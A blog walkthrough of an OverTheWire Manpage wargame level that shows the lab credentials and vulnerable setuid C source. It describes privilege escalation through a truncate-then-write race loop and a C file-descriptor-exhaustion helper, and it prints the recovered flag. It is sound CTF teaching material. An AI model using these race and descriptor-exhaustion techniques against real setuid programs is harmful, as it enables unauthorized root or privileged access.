Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Manpage Level 2 → 3 tutorial!!

Login

Use the manpage2 account from the previous level:

ssh manpage2@manpage.labs.overthewire.org -p 2224
# password: ailaifeipu

Goal

We are given two binaries: /manpage/manpage3 and /manpage/manpage3-reset. The program compares our input against the contents of /manpage/manpage3_password. Normally this file contains 256 random bytes (hard to guess). Our goal is to force the password file into an empty state so that providing an empty string matches and we gain a shell.


Given programs

manpage3

#define PASS_PATH "/manpage/manpage3_password"

int main() {
    int rfd = open(PASS_PATH, O_RDONLY);
    char buf[256];
    char buf2[256];
    memset(buf, '\0', sizeof buf);
    memset(buf2, '\0', sizeof buf2);
    read(rfd, buf2, sizeof buf);
    fgets(buf, sizeof buf, stdin);

    if(!strcmp(buf, buf2)) {
        printf("Wow, you should play the lottery!\\n");
        setuid(geteuid());
        system("/bin/sh");
    }
    return 0;
}

manpage3-reset

#define PASS_PATH "/manpage/manpage3_password"

int main() {
    FILE *wf;
    FILE *rf;
    wf = fopen(PASS_PATH,"w");
    rf = fopen("/dev/urandom","r");
    char buf[256];

    fread(buf, 1, sizeof buf, rf);
    fwrite(buf, 1, sizeof buf, wf);
    return 0;
}

Approach

We need to make /manpage/manpage3_password temporarily empty so that strcmp("", "") == 0.

Two possible strategies:

  1. Race condition: Continuously reset the password file with manpage3-reset and, at the right moment, run manpage3 while the file is in a wiped state (before random bytes are written).

  2. File descriptor exhaustion: If manpage3-reset fails to open /dev/urandom (too many files already open), it writes nothing, leaving an empty password file.


Solution 1: Race Condition

Run an infinite loop to reset quickly:

while true; do
    /manpage/manpage3-reset
done

Then in another terminal, run:

/manpage/manpage3

Provide Ctrl-D (EOF = empty string) as input. After a few tries (2–4 usually), you’ll hit the window where the password file is empty and drop into a shell.


Solution 2: File Descriptor Exhaustion

Write a small C helper that opens many files until the process hits the limit, then execs manpage3-reset:

// exhaust.c
#include <unistd.h>
#include <stdio.h>

int main() {
    FILE *f;
    for (int i = 0; i < 1020; ++i) {
        f = fopen("/manpage/manpage3", "r");
    }
    char* argv[] = { "/manpage/manpage3-reset", NULL };
    char* envp[] = { NULL };
    execve("/manpage/manpage3-reset", argv, envp);
}

Compile and run:

cc -o exhaust exhaust.c
./exhaust

Now the reset fails to open /dev/urandom, so it writes nothing to the password file. Next run:

/manpage/manpage3

Press Ctrl-D → empty string matches → shell spawned.


Flag

Inside the shell you can read the flag. In my run it was:

iaceigicie

Why this works

  • manpage3-reset truncates the password file first, then writes random data.
  • Race condition: If we catch it right after truncate and before write, the password file is empty.
  • FD exhaustion: Prevents opening /dev/urandom, so nothing is written → empty password.
  • strcmp("", "") passes, granting us a privileged shell.

Troubleshooting

  • Timing off (race method): Keep looping; success is probabilistic.
  • FD exhaustion not working: Check ulimit -n (default ~1024). Adjust loop count accordingly.
  • Empty input issue: Use Ctrl-D to send EOF (not an actual space or newline).

Congrats 🎉 You’re now through Level 2 → 3 — classic race condition fun!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with